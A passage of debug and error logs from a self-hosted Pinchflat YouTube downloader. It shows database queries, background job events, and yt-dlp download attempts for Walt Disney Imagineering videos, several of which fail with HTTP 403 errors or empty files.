OK source="settings" db=0.1ms idle=1688.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:15:41.209 [debug] QUERY OK source="settings" db=0.1ms idle=1688.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:15:41.209 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ef/ef/efef818735b252ae59761c7b84c722bb841ae6e576029ac8986234a0aaaaf22d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:15:50.008 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:50.898 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ef/ef/efef818735b252ae59761c7b84c722bb841ae6e576029ac8986234a0aaaaf22d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 19:15:50.898 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:15:50.899 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":14908122,"event":"job:exception","queue_time":623857,"attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:16:00.983 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:16:20.009 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:50.010 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.984 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:17:09.092 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1774999029092278055,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:17:09.092 [debug] QUERY OK source="media_items" db=0.1ms idle=571.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 19:17:09.092 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:17:09.093 [debug] QUERY OK source="sources" db=0.1ms idle=572.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:17:09.093 [debug] QUERY OK source="media_profiles" db=0.1ms idle=572.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:17:09.093 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 19:17:09.094 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 19:17:09.094 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:17:09.095 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:17:09.095 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:17:09.095 [debug] Running yt-dlp command for action: get_downloadable_status 19:17:09.095 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:17:09.095 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:17:09.096 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:17:09.096 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/94/0b/940b76a652a9d1bbb3e2b3b67cab0b9e7cbbb537d2071c0df9453e8c5a73b019.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:17:14.510 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/94/0b/940b76a652a9d1bbb3e2b3b67cab0b9e7cbbb537d2071c0df9453e8c5a73b019.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:17:14.510 [debug] Running yt-dlp command for action: download 19:17:14.510 [debug] QUERY OK source="settings" db=0.2ms idle=1990.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:17:14.511 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1990.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:17:14.511 [debug] QUERY OK source="settings" db=0.1ms idle=1991.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:17:14.512 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b0/43/b0434045c0c969874112ce01a6643f7e72de9b6a593d9bce3be62348544dfc95.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:17:20.012 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:50.013 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.985 [info] {"source":"oban","duration":275,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:18:20.014 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:50.015 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.986 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:19:20.016 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:50.018 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.987 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:20:19.176 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b0/43/b0434045c0c969874112ce01a6643f7e72de9b6a593d9bce3be62348544dfc95.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:20:19.177 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 19:20:19.177 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":190084904,"event":"job:exception","queue_time":402465,"attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:20:19.184 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1774999219184210189,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:20:19.184 [debug] QUERY OK source="media_items" db=0.2ms idle=1663.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 19:20:19.184 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:20:19.185 [debug] QUERY OK source="sources" db=0.2ms idle=866.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:20:19.185 [debug] QUERY OK source="media_profiles" db=0.1ms idle=664.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:20:19.186 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 19:20:19.186 [debug] QUERY OK source="media_metadata" db=0.2ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 19:20:19.187 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:20:19.187 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:20:19.187 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:20:19.188 [debug] Running yt-dlp command for action: get_downloadable_status 19:20:19.188 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:20:19.188 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:20:19.189 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:20:19.189 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2a/df/2adfeb979d4cf84e59c122110ef1907bf1868c2ef7bd11fc4ae0dda04b1b1d38.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:20:20.020 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:27.428 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2a/df/2adfeb979d4cf84e59c122110ef1907bf1868c2ef7bd11fc4ae0dda04b1b1d38.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:20:27.428 [debug] Running yt-dlp command for action: download 19:20:27.428 [debug] QUERY OK source="settings" db=0.1ms idle=1101.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:20:27.429 [debug] QUERY OK source="settings" db=0.1ms idle=908.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:20:27.429 [debug] QUERY OK source="settings" db=0.0ms idle=908.5ms SELECT s0."id", s0."onboarding", 